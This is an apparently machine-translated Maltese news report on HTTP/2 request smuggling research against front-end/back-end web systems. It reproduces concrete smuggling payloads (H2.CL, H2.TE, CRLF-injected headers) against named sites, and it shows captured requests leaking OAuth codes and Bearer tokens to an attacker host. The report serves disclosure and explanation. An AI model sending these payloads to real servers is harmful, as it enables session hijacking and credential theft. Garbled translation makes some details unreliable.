Attakk ġdid fuq sistemi front-end-backend li jippermettilek li tidħol f'talbiet

Is-sistemi tal-web li fihom il-frontend jaċċetta konnessjonijiet permezz ta' HTTP/2 u jittrasmetti lill-backend permezz ta' HTTP/1.1 ġew esposti għal varjant ġdid tal-attakk HTTP Request Smuggling, li jippermetti, billi jintbagħat talbiet tal-klijenti ddisinjati apposta, li jidħol fil-kontenut. ta’ talbiet minn utenti oħra pproċessati fl-istess fluss bejn il-frontend u l-backend. L-attakk jista 'jintuża biex jiddaħħal kodiċi JavaScript malizzjuż f'sessjoni b'sit leġittimu, jevita sistemi ta' kontroll ta 'aċċess, u jinterċetta parametri ta' awtentikazzjoni.

Il-problema taffettwa prokuri tal-web, load balancers, aċċeleraturi tal-web, sistemi ta 'konsenja ta' kontenut u konfigurazzjonijiet oħra li fihom it-talbiet huma diretti mill-ġdid skont l-iskema front-end-backend. L-awtur tal-istudju wera l-abbiltà li jattakka sistemi fuq Netflix, Verizon, Bitbucket, Netlify CDN u Atlassian, u rċieva $ 56 fi programmi ta 'vulnerabilità. Il-kwistjoni ġiet ikkonfermata wkoll fil-prodotti F5 Networks. Parzjalment il-kwistjoni taffettwa mod_proxy fis-server Apache http (CVE-2021-33193), hija mistennija soluzzjoni fil-verżjoni 2.4.49 (l-iżviluppaturi ġew notifikati bil-kwistjoni kmieni f'Mejju u rċevew 3 xhur biex jirranġawha). F'nginx, il-kapaċità li tispeċifika l-headers "Kontenut-Tul" u "Trasferiment-Kodifikazzjoni" fl-istess ħin ġiet imblukkata fl-aħħar rilaxx (1.21.1). Għodod ta 'attakk diġà ġew miżjuda mal-kit ta' għodda Burp u huma disponibbli bħala estensjoni Turbo Intruder.

Il-prinċipju tat-tħaddim tal-metodu l-ġdid ta' wedding talbiet fit-traffiku huwa simili għall-vulnerabbiltà identifikata mill-istess riċerkatur sentejn ilu, iżda limitat għal frontends li jaċċettaw talbiet permezz HTTP/1.1. Ftakar li fl-iskema frontend-backend, it-talbiet tal-klijenti jiġu riċevuti minn node addizzjonali - il-frontend, li jistabbilixxi konnessjoni TCP fit-tul mal-backend li jipproċessa t-talbiet direttament. Permezz ta 'din il-konnessjoni komuni, normalment jiġu trażmessi talbiet minn utenti differenti, li jsegwu l-katina wara xulxin, separati permezz tal-protokoll HTTP.

L-attakk klassiku "HTTP Request Smuggling" kien ibbażat fuq il-fatt li frontends u backends jinterpretaw l-użu tal-headers HTTP "Content-Length" (jiddetermina d-daqs totali tad-dejta fit-talba) u "Transfer-Encoding: chunked" ( jippermetti t-trasferiment tad-data f'partijiet) b'mod differenti. Pereżempju, jekk il-frontend jappoġġja biss "Content-Length" iżda jinjora "Transfer-Encoding: chunked", allura attakkant jista 'jibgħat talba li t-tnejn ikun fihom il-"Content-Length" u "Transfer-Encoding: chunked", iżda id-daqs huwa "Kontenut-Tul" ma jaqbilx mad-daqs tal-katina chunked. F'dan il-każ, il-frontend se jipproċessa u jidderieġi mill-ġdid it-talba skond il-"Kontenut-Tul", u l-backend se jistenna li l-blokk jitlesta bbażat fuq "Transfer-Encoding: chunked" u d-denb li jifdal tat-talba tal-attakkant se jkun fil-bidu tat-talba barranija trażmessa li jmiss.

B'differenza mill-protokoll HTTP/1.1 ibbażat fuq it-test, li huwa parsed fil-livell tal-linja, HTTP/2 huwa protokoll binarju u jimmanipula blokki tad-dejta ta 'daqs predeterminat. Madankollu, HTTP/2 juża psewdo-headers li jikkorrispondu għal headers HTTP regolari. Meta jinteraġixxi mal-backend permezz ta' HTTP/1.1, il-frontend jittraduċi dawn il-psewdo-headers f'headers HTTP simili HTTP/1.1. Il-problema hija li l-backend jieħu deċiżjonijiet dwar l-analiżi tal-fluss ibbażati fuq l-intestaturi HTTP stabbiliti mill-frontend, mingħajr ma jkun jaf il-parametri tat-talba oriġinali.

Inkluż fil-forma ta 'psewdo-headers, il-valuri "tul tal-kontenut" u "kodifikazzjoni tat-trasferiment" jistgħu jiġu trażmessi, minkejja l-fatt li ma jintużawx f'HTTP / 2, peress li d-daqs tad-dejta kollha huwa determinat f' qasam separat. Madankollu, fil-proċess tal-konverżjoni ta 'talba HTTP/2 għal HTTP/1.1, dawn l-intestaturi jinġarru u jistgħu jħawdu l-backend. Hemm żewġ għażliet ewlenin ta 'attakk: H2.TE u H2.CL, li fihom il-backend huwa mqarraq minn valur ta' kodifikazzjoni ta 'trasferiment jew tul ta' kontenut mhux korrett li ma jikkorrispondix mad-daqs reali tal-korp tat-talba riċevut mill-frontend permezz tal- Protokoll HTTP / 2.

Attakk ġdid fuq sistemi front-end-backend li jippermettilek li tidħol f'talbiet

Bħala eżempju ta 'attakk H2.CL, il-psewdo-header tat-tul tal-kontenut huwa fformat ħażin meta tibgħat talba HTTP/2 lil Netflix. Din it-talba tirriżulta fiż-żieda ta' header HTTP tat-Tul tal-Kontenut simili meta taċċessa l-backend permezz ta' HTTP/1.1, iżda peress li d-daqs fil-Tul tal-Kontenut huwa inqas mid-daqs attwali, xi wħud mid-dejta fid-denb tiġi pproċessata bħala l- bidu tat-talba li jmiss.

Pereżempju, talba HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Ospitanti: 02.rs?x.netflix.com Foo: bar

Se tibgħat talba lill-backend: POST /n HTTP/1.1 Ospitanti: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Ospitanti: 02.rs?x.netflix.com Foo: bar

Peress li l-Kontenut-Tul huwa ssettjat għal 4, il-backend jaċċetta biss "abcd" bħala l-korp tat-talba, u jipproċessa l-bqija tal-"GET /n HTTP/1.1..." bħala l-bidu tat-talba li jmiss marbuta ma 'utent ieħor. Għaldaqstant, in-nixxiegħa se tkun mhux sinkronizzata, u bi tweġiba għat-talba li jmiss, ir-riżultat tal-ipproċessar tat-talba falza se jintbagħat lura. Fil-każ ta' Netflix, l-ispeċifikazzjoni ta' host ta' parti terza fl-intestatura "Host:" f'talba falsifikata rriżultat fit-tweġiba "Location: https://02.rs?x.netflix.com/n" lill-klijent u ippermetta li kontenut arbitrarju jiġi mgħoddi lill-klijent, inkluż tesegwixxi l-kodiċi JavaScript tiegħek fil-kuntest tas-sit Netflix.

It-tieni varjant tal-attakk (H2.TE) huwa assoċjat mas-sostituzzjoni tal-header "Transfer-Encoding: chunked". L-użu tal-psewdo-header tal-kodifikazzjoni tat-trasferiment f'HTTP/2 huwa pprojbit mill-ispeċifikazzjoni u t-talbiet magħha huma preskritti biex jiġu ttrattati bħala mhux korretti. Minkejja dan, xi implimentazzjonijiet ta 'frontend jinjoraw dan ir-rekwiżit u jippermettu l-użu tal-psewdo-header tal-kodifikazzjoni tat-trasferiment f'HTTP/2, li jissarraf f'header HTTP simili. Jekk il-header "Trasferiment-Kodifikazzjoni" huwa preżenti, il-backend jista' jeħodha bħala prijorità u janalizza d-dejta f'partijiet fil-modalità "b'biċċiet" bl-użu ta 'blokki ta' daqsijiet differenti fil-format "{daqs}\r\n{blokk} \r\n{daqs} \r\n{blokk}\r\n0" minkejja d-diviżjoni inizjali skond id-daqs ġenerali.

Il-preżenza ta 'tali vojt intweriet bl-eżempju ta' Verizon. Madankollu, il-problema kienet tikkonċerna l-portal tal-awtentikazzjoni u s-sistema tal-ġestjoni tal-kontenut, li tintuża wkoll minn siti bħal Huffington Post u Engadget. Pereżempju, talba tal-klijent fuq HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Ospitanti: psres.net Content-Length: 10 x=

Talba HTTP/1.1 ikkawżata għal backend: POST /identity/XUI HTTP/1.1 Ospitanti: id.b2b.oath.com Content-Length: 66 Trasferiment-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content- Length : 10x=

Il-backend, min-naħa tiegħu, injora l-header "Content-Length" u wettaq qsim in-stream ibbażat fuq "Transfer-Encoding: chunked". Fil-prattika, l-attakk għamilha possibbli li t-talbiet tal-utent jerġgħu jiġu diretti lejn is-sit tiegħek, inkluż l-interċettazzjoni ta’ talbiet relatati mal-awtentikazzjoni OAuth, li l-parametri tagħhom dehru fl-intestatura tar-Referer, kif ukoll is-simulazzjoni ta’ sessjoni ta’ awtentikazzjoni u l-bidu tal-bgħit ta’ kredenzjali tal-utent lill- host tal-attakkant. GET /b2blanding/show/oops HTTP/1.1 Ospitanti: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Ospitanti: psres.net Awtorizzazzjoni: Bearer eyJhcGwiOiJIUzI1Gi1sInkR6c

Biex jattakkaw implementazzjonijiet HTTP/2 li ma jippermettux li tiġi speċifikata l-psewdo-header tal-kodifikazzjoni tat-trasferiment, ġie propost metodu ieħor li jinvolvi s-sostituzzjoni tal-header "Transfer-Encoding" billi titwaħħal ma psewdo-headers oħra separati b'karattru newline (meta kkonvertit). għal HTTP/1.1 f'każ bħal dan, jiġu ġġenerati żewġ headers HTTP separati).

Pereżempju, Atlassian Jira u Netlify CDN (użati biex iservu l-paġna tal-bidu ta' Mozilla f'Firefox) ġew affettwati minn din il-problema. Speċifikament, it-talba HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Ospitanti : evil-netlify-domain\r\n Tul-Kontenut: 5\r\n \r\nx=

ikkawża li tintbagħat talba HTTP/1.1 POST / HTTP/1.1 lill-backend\r\n Ospitanti: start.mozilla.org\r\n Foo: b\r\n Trasferiment-Kodifikazzjoni: imqassam\r\n Kontenut- Tul: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Ospitanti: evil-netlify-domain\r\n Content-Length: 5\r\n \ r\nx=

Għażla oħra biex tissostitwixxi l-header "Transfer-Encoding" kienet li tehmeż mal-isem ta 'psewdo-header ieħor jew ma' string b'metodu ta 'talba. Pereżempju, meta taċċessa Atlassian Jira, l-isem tal-psewdo-header "foo: bar\r\ntransfer-encoding" bil-valur "chunked" irriżulta fiż-żieda tal-headers HTTP "foo: bar" u "transfer-encoding" : chunked", u li tispeċifika fil-psewdo-header ":method" tal-valur "GET / HTTP/1.1\r\nTransfer-encoding: chunked" ġie tradott fi "GET / HTTP/1.1\r\ntransfer-encoding: chunked" .

Ir-riċerkatur li identifika l-problema ppropona wkoll teknika ta 'rikjesta ta' tunneling biex tattakka l-frontends, li fiha tiġi stabbilita konnessjoni separata mal-backend għal kull indirizz IP u t-traffiku ta 'utenti differenti mhuwiex imħallat. It-teknika proposta ma tippermettix li tintervjeni fit-talbiet ta’ utenti oħra, iżda tagħmilha possibbli li tivvelena l-cache kondiviża, li taffettwa l-ipproċessar ta’ talbiet oħra, u tippermettilek li twettaq sostituzzjoni ta’ headers HTTP interni użati biex tittrasferixxi l-informazzjoni tas-servizz minn il-frontend għall-backend (per eżempju, meta l-awtentikazzjoni fuq in-naħa tal-frontend f'headers bħal dawn tista 'tibgħat informazzjoni dwar l-utent attwali lill-backend). Bħala eżempju tal-applikazzjoni tal-metodu fil-prattika, bl-użu tal-avvelenament tal-cache, kien possibbli li jinkiseb kontroll fuq il-paġni fis-servizz Bitbucket.

Sors: opennet.ru

Żid kumment